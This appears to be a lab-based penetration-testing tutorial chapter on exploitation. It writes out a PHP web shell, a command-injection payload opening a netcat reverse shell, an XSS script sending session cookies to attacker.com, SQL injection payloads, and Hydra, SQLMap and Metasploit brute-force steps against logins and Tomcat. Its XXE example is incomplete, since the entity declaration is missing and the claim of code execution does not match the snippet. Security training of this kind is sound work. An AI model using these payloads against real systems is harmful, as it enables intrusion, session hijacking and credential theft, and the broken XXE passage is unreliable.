This section focuses on the exploitation phase of penetration testing. Unlike vulnerability assessments where testers identify and suggest mitigations for vulnerabilities, penetration testers simulate malicious attacks to exploit detected weaknesses, aiming for full system compromise or data leakage without disrupting system availability.

6.1 Malicious Use of File Inclusion and Uploads

In this section, we explore how file inclusion flaws can be exploited by uploading malicious files such as web shells and using local file inclusion techniques to execute them.

1. Create a PHP script named malicious.php with the following content:

<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

2. Create another PHP script named rename_script.php:

<?php
system('mv /path/to/uploads/malicious.jpg /path/to/uploads/malicious.php');
?>

6.2 Exploiting OS Command Injection

We'll demonstrate how to leverage command injection vulnerabilities to extract critical server information.

1. Access the DVWA application and navigate to the 'Command Execution' page.
2. Submit the payload: 192.168.56.1; uname -a.
3. To obtain a reverse shell, submit the following payload: ; nc.traditional -e /bin/bash 192.168.56.1 1234 &.

6.3 Exploiting XML External Entity (XXE) Injection

This section covers exploiting XXE vulnerabilities to execute code on the server.

1. Navigate to http://192.168.56.102/xmlvalidator.php.
2. Submit a XML input containing an external entity:

]>
<root><data>&file;</data></root>

6.4 Using Hydra for Password Cracking

Hydra is utilized for brute-forcing login forms. Here's how to use it:

1. Create a user list file users.txt with entries like:

admin
testuser
guest

2. Execute Hydra with the following command:

hydra -l admin -P passwords.txt http://target.com/login

6.5 Performing Dictionary Attacks with Burp Suite Intruder

Burp Suite Intruder can automate dictionary attacks against login forms:

1. Set up Burp Suite as a proxy for your browser.
2. Capture a login request and send it to Intruder.
3. Define payloads for username and password fields.
4. Start the attack and analyze responses for successful logins.

6.6 Gaining Session Cookies via XSS

Use XSS to steal session cookies and hijack user sessions:

1. Inject a script tag in to a vulnerable comment section:

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://attacker.com/savecookie.php?cookie=" + document.cookie, true);
xhr.send();
</script>

6.7 Executing Basic SQL Injection

Perform SQL injection to extract database information:

1. Submit a payload to determine the number of columns returned by a query:

1' ORDER BY 3--

2. Use UNION SELECT statements to retrieve version and current user details:

1' UNION SELECT @@version, current_user()--

6.8 Using SQLMap for SQL Injection Detection and Exploitation

Automate SQL injection detection and exploitation with SQLMap:

1. Run SQLMap with the following command:

sqlmap -u "http://example.com/vulnerable" --batch

6.9 Attacking Tomcat Passwords with Metasploit

Use Metasploit to perform a dictionary attack against Tomcat's management interface:

1. Launch Metasploit console:

msfconsole

2. Load the appropriate module:

use auxiliary/scanner/http/tomcat_mgr_login

3. Configure target settings and run the attack:

set RHOSTS 192.168.56.102
run

6.10 Deploying Code via Tomcat Manager

Upload a WAR file through Tomcat Manager to gain command execution:

1. Log into the Tomcat Manager at http://server:8080/manager/html.
2. Deploy a web shell WAR file from Kali's default webshells directory.
3. Access the deployed web shell to execute commands.